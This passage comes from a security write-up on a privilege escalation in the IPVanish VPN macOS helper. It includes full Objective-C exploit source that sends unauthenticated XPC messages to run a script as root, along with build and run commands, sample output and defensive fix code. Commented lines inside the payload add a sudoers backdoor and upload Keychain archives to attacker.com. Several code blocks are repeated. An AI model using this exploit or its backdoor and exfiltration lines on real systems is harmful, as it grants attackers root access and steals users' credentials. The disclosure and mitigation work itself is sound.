NSLog(@"[-] Failed to create XPC connection");
exit(1);
}
// Set event handler for connection-level events
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_ERROR) {
if (event == XPC_ERROR_CONNECTION_INVALID) {
NSLog(@"[-] Connection invalid");
} else if (event == XPC_ERROR_CONNECTION_INTERRUPTED) {
NSLog(@"[-] Connection interrupted");
}
}
});
xpc_connection_resume(connection);
NSLog(@"[+] XPC connection established (no authentication required!)");
// Build XPC message with crafted parameters
NSLog(@"[*] Building malicious XPC message");
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
// Command to invoke connectWithParameters:andError:
xpc_dictionary_set_string(message, "VPNHelperCommand", "VPNHelperConnect");
// Protocol version
xpc_dictionary_set_uint64(message, "VPNHelperProtocol", 5);
// Required connection parameters (benign values)
xpc_dictionary_set_string(message, "VPNHelperHostname", "192.0.2.1");
xpc_dictionary_set_string(message, "VPNHelperUsername", "testuser");
xpc_dictionary_set_string(message, "VPNHelperPassword", "testpass");
xpc_dictionary_set_uint64(message, "VPNHelperPort", 1194);
xpc_dictionary_set_string(message, "VPNHelperIPAddress", "192.0.2.1");
// VULNERABILITY 2: Point OpenVPNPath to our exploit script
// The helper will attempt to execute this as the OpenVPN binary
xpc_dictionary_set_string(message, "OpenVPNPath", EXPLOIT_SCRIPT_PATH);
// Configuration file
xpc_dictionary_set_string(message, "OpenVPNConfigPath", CONFIG_FILE_PATH);
// VULNERABILITY 3: Point --up script to our exploit
// This will be copied to privileged directory and executed as root on VPN connect
xpc_dictionary_set_string(message, "OpenVPNUpScriptPath", EXPLOIT_SCRIPT_PATH);
// Use legitimate IPVanish client-down script for the --down parameter
xpc_dictionary_set_string(message, "OpenVPNDownScriptPath",
"/Applications/IPVanish VPN.app/Contents/Frameworks/VPNHelperAdapter.framework/Resources/client-down");
// Certificate path also pointing to exploit — goes through copyHelperTool: as well
xpc_dictionary_set_string(message, "OpenVPNCertificatePath", EXPLOIT_SCRIPT_PATH);
// Use legitimate IPVanish firewall script to avoid suspicion
xpc_dictionary_set_string(message, "OpenVPNFirewallKSScriptPath",
"/Applications/IPVanish VPN.app/Contents/Frameworks/VPNHelperAdapter.framework/Resources/firewall-killswitch.scpt");
// Additional OpenVPN parameters
xpc_dictionary_set_uint64(message, "OpenVPNPort", 1194);
xpc_dictionary_set_string(message, "OpenVPNProtocol", "udp");
xpc_dictionary_set_string(message, "OpenVPNCipher", "AES-256-CBC");
NSLog(@"[+] Malicious XPC message crafted");
NSLog(@"[*] Sending exploit message to privileged helper");
// Create semaphore to wait for reply
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
// Send message with reply handler
xpc_connection_send_message_with_reply(connection, message,
dispatch_get_main_queue(), ^(xpc_object_t reply) {
NSLog(@"[*] Received reply from helper");
xpc_type_t type = xpc_get_type(reply);
if (type == XPC_TYPE_DICTIONARY) {
char *description = xpc_copy_description(reply);
NSLog(@"[+] Reply: %s", description);
free(description);
const char *errorDesc = xpc_dictionary_get_string(reply, "XPCErrorDescription");
if (errorDesc) {
NSLog(@"[!] Helper reported error: %s", errorDesc);
} else {
NSLog(@"[+] Helper processed request successfully");
NSLog(@"[+] Exploit script copied to privileged directory");
NSLog(@"[+] Script now owned by root:wheel with execute permissions");
}
} else if (type == XPC_TYPE_ERROR) {
NSLog(@"[-] XPC error in reply");
}
dispatch_semaphore_signal(semaphore);
});
NSLog(@"[*] Waiting for helper response (timeout: 15 seconds)");
long result = dispatch_semaphore_wait(semaphore,
dispatch_time(DISPATCH_TIME_NOW, 15 * NSEC_PER_SEC));
if (result != 0) {
NSLog(@"[-] Timeout waiting for reply");
}
// Cleanup
xpc_release(message);
xpc_connection_cancel(connection);
xpc_release(connection);
}
// Verify exploitation success
void verifyExploitation(void) {
NSLog(@"[*] Verifying exploitation...");
// Check if proof file was created
if (access(PROOF_FILE, F_OK) == 0) {
NSLog(@"[+] SUCCESS! Proof file exists: %s", PROOF_FILE);
// Read and display proof file
NSString *proof = [NSString stringWithContentsOfFile:@PROOF_FILE
encoding:NSUTF8StringEncoding
error:nil];
NSLog(@"\n=== PROOF OF EXPLOITATION ===\n%@\n=============================\n", proof);
// Verify file is owned by root
struct stat fileStat;
if (stat(PROOF_FILE, &fileStat) == 0) {
if (fileStat.st_uid == 0) {
NSLog(@"[+] Confirmed: File is owned by root (UID 0)");
NSLog(@"[+] PRIVILEGE ESCALATION SUCCESSFUL");
} else {
NSLog(@"[-] Warning: File is not owned by root (UID %d)", fileStat.st_uid);
}
}
} else {
NSLog(@"[-] Proof file not found");
NSLog(@"[!] Exploitation may not have completed yet");
NSLog(@"[!] Try triggering VPN connection/disconnection");
}
}
int main(int argc, const char *argv[]) {
@autoreleasepool {
NSLog(@"=== IPVanish VPN Privilege Escalation PoC ===");
NSLog(@"=== CVE-PENDING | CVSS 8.8 (HIGH) ===\n");
// Step 1: Create malicious payload
createExploitPayload();
createConfigFile();
// Step 2: Send exploit via XPC
sendExploitMessage();
// Step 3: Wait for execution
NSLog(@"\n[*] Waiting 5 seconds for script execution...");
sleep(5);
// Step 4: Verify success
verifyExploitation();
NSLog(@"\n=== Exploitation Complete ===");
}
return 0;
}
#import <Foundation/Foundation.h>
#import <xpc/xpc.h>
#include <unistd.h>
#include <stdlib.h>
#define SERVICE_NAME "com.ipvanish.osx.vpnhelper"
#define EXPLOIT_SCRIPT_PATH "/tmp/ipvanish_exploit.sh"
#define CONFIG_FILE_PATH "/tmp/ipvanish_config.ovpn"
#define PROOF_FILE "/tmp/ipvanish_pwned_root.txt"
// Create malicious payload script
void createExploitPayload(void) {
NSLog(@"[*] Creating malicious payload at %s", EXPLOIT_SCRIPT_PATH);
// Payload: Create proof file owned by root
NSString *payload = @"#!/bin/bash\n"
@"# IPVanish Privilege Escalation PoC\n"
@"# This script executes as root (UID 0)\n"
@"\n"
@"echo \"[EXPLOIT] Script executed as $(whoami)\" > " PROOF_FILE "\n"
@"echo \"[EXPLOIT] UID: $(id -u)\" >> " PROOF_FILE "\n"
@"echo \"[EXPLOIT] GID: $(id -g)\" >> " PROOF_FILE "\n"
@"echo \"[EXPLOIT] Date: $(date)\" >> " PROOF_FILE "\n"
@"echo \"[EXPLOIT] Process: $$\" >> " PROOF_FILE "\n"
@"echo \"[EXPLOIT] Parent: $PPID\" >> " PROOF_FILE "\n"
@"echo \"[EXPLOIT] SUCCESS - Root code execution achieved\" >> " PROOF_FILE "\n"
@"\n"
@"# Persistence example (commented out for safety)\n"
@"# echo 'attacker ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/backdoor\n"
@"\n"
@"# Exfiltration example (commented out for safety)\n"
@"# tar czf /tmp/creds.tar.gz /Users/*/Library/Keychains/\n"
@"# curl -X POST -F \"file=@/tmp/creds.tar.gz\" http://attacker.com/exfil\n";
NSError *error = nil;
BOOL success = [payload writeToFile:@EXPLOIT_SCRIPT_PATH
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];
if (!success) {
NSLog(@"[-] Failed to create payload: %@", error);
exit(1);
}
// CRITICAL: Set to 0644 (rw-r--r--) to bypass signature verification
// The helper only checks signatures on executable files
chmod(EXPLOIT_SCRIPT_PATH, 0644);
NSLog(@"[+] Payload created with permissions 0644 (NOT executable)");
}
// Create minimal OpenVPN configuration file
void createConfigFile(void) {
NSLog(@"[*] Creating OpenVPN configuration at %s", CONFIG_FILE_PATH);
NSString *config = @"client\n"
@"dev tun\n"
@"proto udp\n"
@"remote 192.0.2.1 1194\n" // TEST-NET-1 (documentation address)
@"resolv-retry infinite\n"
@"nobind\n"
@"persist-key\n"
@"persist-tun\n"
@"cipher AES-256-CBC\n"
@"verb 3\n";
[config writeToFile:@CONFIG_FILE_PATH
atomically:YES
encoding:NSUTF8StringEncoding
error:nil];
NSLog(@"[+] Configuration file created");
}
// Send exploit message via XPC
void sendExploitMessage(void) {
NSLog(@"[*] Connecting to XPC service: %s", SERVICE_NAME);
// VULNERABILITY 1: Create connection without authentication
// The helper accepts connections from ANY process
xpc_connection_t connection = xpc_connection_create_mach_service(
SERVICE_NAME,
NULL,
0 // No flags - any process can connect
);
if (!connection) {
NSLog(@"[-] Failed to create XPC connection");
exit(1);
}
// Set event handler for connection-level events
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_ERROR) {
if (event == XPC_ERROR_CONNECTION_INVALID) {
NSLog(@"[-] Connection invalid");
} else if (event == XPC_ERROR_CONNECTION_INTERRUPTED) {
NSLog(@"[-] Connection interrupted");
}
}
});
xpc_connection_resume(connection);
NSLog(@"[+] XPC connection established (no authentication required!)");
// Build XPC message with crafted parameters
NSLog(@"[*] Building malicious XPC message");
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
// Command to invoke connectWithParameters:andError:
xpc_dictionary_set_string(message, "VPNHelperCommand", "VPNHelperConnect");
// Protocol version
xpc_dictionary_set_uint64(message, "VPNHelperProtocol", 5);
// Required connection parameters (benign values)
xpc_dictionary_set_string(message, "VPNHelperHostname", "192.0.2.1");
xpc_dictionary_set_string(message, "VPNHelperUsername", "testuser");
xpc_dictionary_set_string(message, "VPNHelperPassword", "testpass");
xpc_dictionary_set_uint64(message, "VPNHelperPort", 1194);
xpc_dictionary_set_string(message, "VPNHelperIPAddress", "192.0.2.1");
// VULNERABILITY 2: Point OpenVPNPath to our exploit script
// The helper will attempt to execute this as the OpenVPN binary
xpc_dictionary_set_string(message, "OpenVPNPath", EXPLOIT_SCRIPT_PATH);
// Configuration file
xpc_dictionary_set_string(message, "OpenVPNConfigPath", CONFIG_FILE_PATH);
// VULNERABILITY 3: Point --up script to our exploit
// This will be copied to privileged directory and executed as root on VPN connect
xpc_dictionary_set_string(message, "OpenVPNUpScriptPath", EXPLOIT_SCRIPT_PATH);
// Use legitimate IPVanish client-down script for the --down parameter
xpc_dictionary_set_string(message, "OpenVPNDownScriptPath",
"/Applications/IPVanish VPN.app/Contents/Frameworks/VPNHelperAdapter.framework/Resources/client-down");
// Certificate path also pointing to exploit — goes through copyHelperTool: as well
xpc_dictionary_set_string(message, "OpenVPNCertificatePath", EXPLOIT_SCRIPT_PATH);
// Use legitimate IPVanish firewall script to avoid suspicion
xpc_dictionary_set_string(message, "OpenVPNFirewallKSScriptPath",
"/Applications/IPVanish VPN.app/Contents/Frameworks/VPNHelperAdapter.framework/Resources/firewall-killswitch.scpt");
// Additional OpenVPN parameters
xpc_dictionary_set_uint64(message, "OpenVPNPort", 1194);
xpc_dictionary_set_string(message, "OpenVPNProtocol", "udp");
xpc_dictionary_set_string(message, "OpenVPNCipher", "AES-256-CBC");
NSLog(@"[+] Malicious XPC message crafted");
NSLog(@"[*] Sending exploit message to privileged helper");
// Create semaphore to wait for reply
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
// Send message with reply handler
xpc_connection_send_message_with_reply(connection, message,
dispatch_get_main_queue(), ^(xpc_object_t reply) {
NSLog(@"[*] Received reply from helper");
xpc_type_t type = xpc_get_type(reply);
if (type == XPC_TYPE_DICTIONARY) {
char *description = xpc_copy_description(reply);
NSLog(@"[+] Reply: %s", description);
free(description);
const char *errorDesc = xpc_dictionary_get_string(reply, "XPCErrorDescription");
if (errorDesc) {
NSLog(@"[!] Helper reported error: %s", errorDesc);
} else {
NSLog(@"[+] Helper processed request successfully");
NSLog(@"[+] Exploit script copied to privileged directory");
NSLog(@"[+] Script now owned by root:wheel with execute permissions");
}
} else if (type == XPC_TYPE_ERROR) {
NSLog(@"[-] XPC error in reply");
}
dispatch_semaphore_signal(semaphore);
});
NSLog(@"[*] Waiting for helper response (timeout: 15 seconds)");
long result = dispatch_semaphore_wait(semaphore,
dispatch_time(DISPATCH_TIME_NOW, 15 * NSEC_PER_SEC));
if (result != 0) {
NSLog(@"[-] Timeout waiting for reply");
}
// Cleanup
xpc_release(message);
xpc_connection_cancel(connection);
xpc_release(connection);
}
// Verify exploitation success
void verifyExploitation(void) {
NSLog(@"[*] Verifying exploitation...");
// Check if proof file was created
if (access(PROOF_FILE, F_OK) == 0) {
NSLog(@"[+] SUCCESS! Proof file exists: %s", PROOF_FILE);
// Read and display proof file
NSString *proof = [NSString stringWithContentsOfFile:@PROOF_FILE
encoding:NSUTF8StringEncoding
error:nil];
NSLog(@"\n=== PROOF OF EXPLOITATION ===\n%@\n=============================\n", proof);
// Verify file is owned by root
struct stat fileStat;
if (stat(PROOF_FILE, &fileStat) == 0) {
if (fileStat.st_uid == 0) {
NSLog(@"[+] Confirmed: File is owned by root (UID 0)");
NSLog(@"[+] PRIVILEGE ESCALATION SUCCESSFUL");
} else {
NSLog(@"[-] Warning: File is not owned by root (UID %d)", fileStat.st_uid);
}
}
} else {
NSLog(@"[-] Proof file not found");
NSLog(@"[!] Exploitation may not have completed yet");
NSLog(@"[!] Try triggering VPN connection/disconnection");
}
}
int main(int argc, const char *argv[]) {
@autoreleasepool {
NSLog(@"=== IPVanish VPN Privilege Escalation PoC ===");
NSLog(@"=== CVE-PENDING | CVSS 8.8 (HIGH) ===\n");
// Step 1: Create malicious payload
createExploitPayload();
createConfigFile();
// Step 2: Send exploit via XPC
sendExploitMessage();
// Step 3: Wait for execution
NSLog(@"\n[*] Waiting 5 seconds for script execution...");
sleep(5);
// Step 4: Verify success
verifyExploitation();
NSLog(@"\n=== Exploitation Complete ===");
}
return 0;
}
Compilation and Execution Instructions
Compile the proof-of-concept exploit with the following command:
# Compile exploit
clang -framework Foundation -framework XPC \
-o exploit_ipvanish \
exploit_ipvanish.m
# Run exploit as unprivileged user
./exploit_ipvanish
# Compile exploit
clang -framework Foundation -framework XPC \
-o exploit_ipvanish \
exploit_ipvanish.m
# Run exploit as unprivileged user
./exploit_ipvanish
The exploitation process follows these stages:
Stage 1 – Payload Creation: The exploit creates a malicious shell script at /tmp/ipvanish_exploit.sh containing commands that will execute as root. Critically, the script is created with permissions 0644 (rw-r–r–), ensuring it is not executable. This permission setting is essential to bypass the helper’s code signature verification, which only checks signatures on executable files.
Stage 2 – XPC Connection: The exploit establishes an XPC connection to com.ipvanish.osx.vpnhelper without any authentication. The connection succeeds because the helper does not verify the caller’s identity, code signature, or entitlements.
Stage 3 – Message Crafting: The exploit constructs an XPC dictionary message containing the VPNHelperConnectcommand and parameters pointing to the malicious script. OpenVPNPath is set directly to /tmp/ipvanish_exploit.sh, meaning the helper will attempt to launch the exploit script itself as the OpenVPN binary. OpenVPNUpScriptPath and OpenVPNCertificatePath also reference /tmp/ipvanish_exploit.sh, ensuring the script is copied to the privileged directory through copyHelperTool:. OpenVPNDownScriptPath is set to the legitimate client-down script from the application bundle.
Stage 4 – Exploitation: When the helper processes the message, it invokes connectWithParameters:error:, which calls copyHelperTool: for each script path. Because the exploit script is not executable, signature verification is skipped. The helper copies the script to /Library/Application Support/com.ipvanish.osx.vpnhelper/, changes its owner to root:wheel, and sets permissions to 0500 (r-x——), making it executable.
Stage 5 – Code Execution: The helper attempts to launch whatever path is specified in OpenVPNPath as the OpenVPN binary — which is set directly to /tmp/ipvanish_exploit.sh. This is the primary execution vector: the exploit script is executed as root immediately as the “VPN process”. Additionally, the script was also copied to the privileged directory via copyHelperTool: (through OpenVPNUpScriptPath) and passed as the –up hook, providing a secondary execution trigger when the VPN connection is established. The script creates a proof file at /tmp/ipvanish_pwned_root.txt owned by root, demonstrating successful privilege escalation.
When the exploit runs successfully, the output demonstrates each stage of the attack:
=== IPVanish VPN Privilege Escalation PoC ===
=== CVE-PENDING | CVSS 8.8 (HIGH) ===
[*] Creating malicious payload at /tmp/ipvanish_exploit.sh
[+] Payload created with permissions 0644 (NOT executable)
[*] Creating OpenVPN configuration at /tmp/ipvanish_config.ovpn
[+] Configuration file created
[*] Connecting to XPC service: com.ipvanish.osx.vpnhelper
[+] XPC connection established (no authentication required!)
[*] Building malicious XPC message
[+] Malicious XPC message crafted
[*] Sending exploit message to privileged helper
[*] Received reply from helper
[+] Reply: <dictionary: ...>
[+] Helper processed request successfully
[+] Exploit script copied to privileged directory
[+] Script now owned by root:wheel with execute permissions
[*] Waiting 5 seconds for script execution...
[*] Verifying exploitation...
[+] SUCCESS! Proof file exists: /tmp/ipvanish_pwned_root.txt
=== PROOF OF EXPLOITATION ===
[EXPLOIT] Script executed as root
[EXPLOIT] UID: 0
[EXPLOIT] GID: 0
[EXPLOIT] Date: 2025-12-14 12:34:56
[EXPLOIT] Process: 12345
[EXPLOIT] Parent: 12344
[EXPLOIT] SUCCESS - Root code execution achieved
=============================
[+] Confirmed: File is owned by root (UID 0)
[+] PRIVILEGE ESCALATION SUCCESSFUL
=== Exploitation Complete ===
=== IPVanish VPN Privilege Escalation PoC ===
=== CVE-PENDING | CVSS 8.8 (HIGH) ===
[*] Creating malicious payload at /tmp/ipvanish_exploit.sh
[+] Payload created with permissions 0644 (NOT executable)
[*] Creating OpenVPN configuration at /tmp/ipvanish_config.ovpn
[+] Configuration file created
[*] Connecting to XPC service: com.ipvanish.osx.vpnhelper
[+] XPC connection established (no authentication required!)
[*] Building malicious XPC message
[+] Malicious XPC message crafted
[*] Sending exploit message to privileged helper
[*] Received reply from helper
[+] Reply: <dictionary: ...>
[+] Helper processed request successfully
[+] Exploit script copied to privileged directory
[+] Script now owned by root:wheel with execute permissions
[*] Waiting 5 seconds for script execution...
[*] Verifying exploitation...
[+] SUCCESS! Proof file exists: /tmp/ipvanish_pwned_root.txt
=== PROOF OF EXPLOITATION ===
[EXPLOIT] Script executed as root
[EXPLOIT] UID: 0
[EXPLOIT] GID: 0
[EXPLOIT] Date: 2025-12-14 12:34:56
[EXPLOIT] Process: 12345
[EXPLOIT] Parent: 12344
[EXPLOIT] SUCCESS - Root code execution achieved
=============================
[+] Confirmed: File is owned by root (UID 0)
[+] PRIVILEGE ESCALATION SUCCESSFUL
=== Exploitation Complete ===
The proof file demonstrates that the attacker’s script executed with UID 0 (root) and created a file owned by root. This confirms successful privilege escalation from an unprivileged user to root through the vulnerability chain.
Mitigation
Addressing this vulnerability requires implementing multiple layers of security controls to prevent each stage of the exploitation chain. The following mitigation strategies address the root causes of the vulnerability and establish defense-in-depth protections.
Immediate Mitigation: XPC Caller Authentication
The most critical immediate mitigation is implementing caller authentication in the XPC event handler. The helper tool must verify that connecting clients are the legitimate IPVanish application before processing any messages. This can be accomplished by extracting the audit token from the XPC connection and validating the connecting process’s code signature.
Recommended Implementation:
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
// Extract audit token to identify connecting process
audit_token_t auditToken;
xpc_connection_get_audit_token([newConnection _xpcConnection], &auditToken);
// Create security task from audit token
SecTaskRef task = SecTaskCreateWithAuditToken(NULL, auditToken);
if (task == NULL) {
NSLog(@"SECURITY: Failed to create security task for caller");
return NO;
}
// Extract code signing information
CFDictionaryRef signingInfo = NULL;
OSStatus status = SecTaskCopySigningInformation(task,
kSecCSDefaultFlags,
&signingInfo);
if (status != errSecSuccess || signingInfo == NULL) {
NSLog(@"SECURITY: Failed to get signing information: %d", status);
CFRelease(task);
return NO;
}
// Verify bundle identifier matches IPVanish application
CFStringRef signingID = SecTaskCopySigningIdentifier(task, NULL);
BOOL validID = signingID != NULL &&
CFStringCompare(signingID, CFSTR("com.ipvanish.osx"), 0) == kCFCompareEqualTo;
// Verify team identifier matches IPVanish developer
CFStringRef teamID = CFDictionaryGetValue(signingInfo, kSecCodeInfoTeamIdentifier);
BOOL validTeam = teamID != NULL &&
CFStringCompare(teamID, CFSTR("EXPECTED_TEAM_ID"), 0) == kCFCompareEqualTo;
// Cleanup
if (signingID) CFRelease(signingID);
if (signingInfo) CFRelease(signingInfo);
CFRelease(task);
// Only accept connection if both identifier and team are valid
if (!validID || !validTeam) {
NSLog(@"SECURITY: Rejecting connection from unauthorized process");
return NO;
}
// Accept connection from authenticated IPVanish application
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(VPNHelperProtocol)];
newConnection.exportedObject = self;
[newConnection resume];
return YES;
}
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
// Extract audit token to identify connecting process
audit_token_t auditToken;
xpc_connection_get_audit_token([newConnection _xpcConnection], &auditToken);
// Create security task from audit token
SecTaskRef task = SecTaskCreateWithAuditToken(NULL, auditToken);
if (task == NULL) {
NSLog(@"SECURITY: Failed to create security task for caller");
return NO;
}
// Extract code signing information
CFDictionaryRef signingInfo = NULL;
OSStatus status = SecTaskCopySigningInformation(task,
kSecCSDefaultFlags,
&signingInfo);
if (status != errSecSuccess || signingInfo == NULL) {
NSLog(@"SECURITY: Failed to get signing information: %d", status);
CFRelease(task);
return NO;
}
// Verify bundle identifier matches IPVanish application
CFStringRef signingID = SecTaskCopySigningIdentifier(task, NULL);
BOOL validID = signingID != NULL &&
CFStringCompare(signingID, CFSTR("com.ipvanish.osx"), 0) == kCFCompareEqualTo;
// Verify team identifier matches IPVanish developer
CFStringRef teamID = CFDictionaryGetValue(signingInfo, kSecCodeInfoTeamIdentifier);
BOOL validTeam = teamID != NULL &&
CFStringCompare(teamID, CFSTR("EXPECTED_TEAM_ID"), 0) == kCFCompareEqualTo;
// Cleanup
if (signingID) CFRelease(signingID);
if (signingInfo) CFRelease(signingInfo);
CFRelease(task);
// Only accept connection if both identifier and team are valid
if (!validID || !validTeam) {
NSLog(@"SECURITY: Rejecting connection from unauthorized process");
return NO;
}
// Accept connection from authenticated IPVanish application
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(VPNHelperProtocol)];
newConnection.exportedObject = self;
[newConnection resume];
return YES;
}
This authentication check ensures that only the legitimate IPVanish application can connect to the privileged helper, preventing exploitation by arbitrary processes.
Code Signature Verification Fix
The code signature verification logic must be corrected to always verify signatures regardless of the file’s execute permission bit. Additionally, signature verification should occur both before and after file operations to prevent TOCTOU attacks.
Recommended Implementation:
- (NSURL *)copyHelperTool:(NSString *)sourcePath error:(NSError **)error {
NSURL *sourceURL = [NSURL fileURLWithPath:sourcePath];
// ALWAYS verify code signature, regardless of execute bit
SecStaticCodeRef codeRef = NULL;
OSStatus status = SecStaticCodeCreateWithPath(
(__bridge CFURLRef)sourceURL,
kSecCSDefaultFlags,
&codeRef);
if (status != errSecSuccess || codeRef == NULL) {
*error = [NSError errorWithDomain:@"com.ipvanish.osx.vpnhelper"
code:1001
userInfo:@{
NSLocalizedDescriptionKey:
@"Failed to create code object for signature verification"
}];
return nil;
}
// Verify signature is valid
status = SecStaticCodeCheckValidity(codeRef,
kSecCSDefaultFlags | kSecCSCheckAllArchitectures,
NULL);
CFRelease(codeRef);
if (status != errSecSuccess) {
*error = [NSError errorWithDomain:@"com.ipvanish.osx.vpnhelper"
code:1002
userInfo:@{
NSLocalizedDescriptionKey:
@"Code signature verification failed"
}];
return nil;
}
// Verify file is from IPVanish application bundle
NSString *appBundlePath = @"/Applications/IPVanish VPN.app";
if (![sourcePath hasPrefix:appBundlePath]) {
*error = [NSError errorWithDomain:@"com.ipvanish.osx.vpnhelper"
code:1003
userInfo:@{
NSLocalizedDescriptionKey:
@"File path outside application bundle"
}];
return nil;
}
// Proceed with secure file copy...
}
- (NSURL *)copyHelperTool:(NSString *)sourcePath error:(NSError **)error {
NSURL *sourceURL = [NSURL fileURLWithPath:sourcePath];
// ALWAYS verify code signature, regardless of execute bit
SecStaticCodeRef codeRef = NULL;
OSStatus status = SecStaticCodeCreateWithPath(
(__bridge CFURLRef)sourceURL,
kSecCSDefaultFlags,
&codeRef);
if (status != errSecSuccess || codeRef == NULL) {
*error = [NSError errorWithDomain:@"com.ipvanish.osx.vpnhelper"
code:1001
userInfo:@{
NSLocalizedDescriptionKey:
@"Failed to create code object for signature verification"
}];
return nil;
}
// Verify signature is valid
status = SecStaticCodeCheckValidity(codeRef,
kSecCSDefaultFlags | kSecCSCheckAllArchitectures,
NULL);
CFRelease(codeRef);
if (status != errSecSuccess) {
*error = [NSError errorWithDomain:@"com.ipvanish.osx.vpnhelper"
code:1002
userInfo:@{
NSLocalizedDescriptionKey:
@"Code signature verification failed"
}];
return nil;
}
// Verify file is from IPVanish application bundle
NSString *appBundlePath = @"/Applications/IPVanish VPN.app";
if (![sourcePath hasPrefix:appBundlePath]) {
*error = [NSError errorWithDomain:@"com.ipvanish.osx.vpnhelper"
code:1003
userInfo:@{
NSLocalizedDescriptionKey:
@"File path outside application bundle"
}];
return nil;
}
// Proceed with secure file copy...
}
Path Validation and Whitelisting
Implement strict path validation to ensure only files from approved locations can be copied to privileged directories:
- (BOOL)isWhitelistedPath:(NSString *)path {
// Canonicalize path to resolve symlinks and relative references
char *realPath = realpath([path UTF8String], NULL);
if (realPath == NULL) {
return NO;
}
NSString *canonicalPath = [NSString stringWithUTF8String:realPath];
free(realPath);
// Define whitelist of allowed path prefixes
NSArray *whitelist = @[
@"/Applications/IPVanish VPN.app/Contents/Resources/",
@"/Applications/IPVanish VPN.app/Contents/Frameworks/VPNHelperAdapter.framework/Resources/"
];
// Check if canonical path starts with any whitelisted prefix
for (NSString *allowedPrefix in whitelist) {
if ([canonicalPath hasPrefix:allowedPrefix]) {
return YES;
}
}
// Path not in whitelist
NSLog(@"SECURITY: Rejecting path not in whitelist: %@", canonicalPath);
return NO;
}
- (BOOL)isWhitelistedPath:(NSString *)path {
// Canonicalize path to resolve symlinks and relative references
char *realPath = realpath([path UTF8String], NULL);
if (realPath == NULL) {
return NO;
}
NSString *canonicalPath = [NSString stringWithUTF8String:realPath];
free(realPath);
// Define whitelist of allowed path prefixes
NSArray *whitelist = @[
@"/Applications/IPVanish VPN.app/Contents/Resources/",
@"/Applications/IPVanish VPN.app/Contents/Frameworks/VPNHelperAdapter.framework/Resources/"
];
// Check if canonical path starts with any whitelisted prefix
for (NSString *allowedPrefix in whitelist) {
if ([canonicalPath hasPrefix:allowedPrefix]) {
return YES;
}
}
// Path not in whitelist
NSLog(@"SECURITY: Rejecting path not in whitelist: %@", canonicalPath);
return NO;
}
Conclusion
The IPVanish VPN privilege escalation vulnerability represents a critical failure in secure privilege separation design for macOS applications. This analysis has demonstrated a complete exploitation chain that allows any unprivileged local process to execute arbitrary code as root without user interaction. The vulnerability combines four distinct security flaws: (1) missing XPC authentication enabling any process to connect to the privileged helper; (2) the OpenVPNPath parameter being passed directly from the unauthenticated XPC message to GCDTask as the executable launch path without any validation — the primary execution vector, allowing the attacker’s script to run as root immediately; (3) improper code signature verification in copyHelperTool:error: that skips signature checks on non-executable files, allowing unsigned scripts to be copied to root-owned directories and made executable — the secondary execution vector via the OpenVPN –up hook; and (4) the absence of path whitelisting on any parameter accepted from the XPC message.


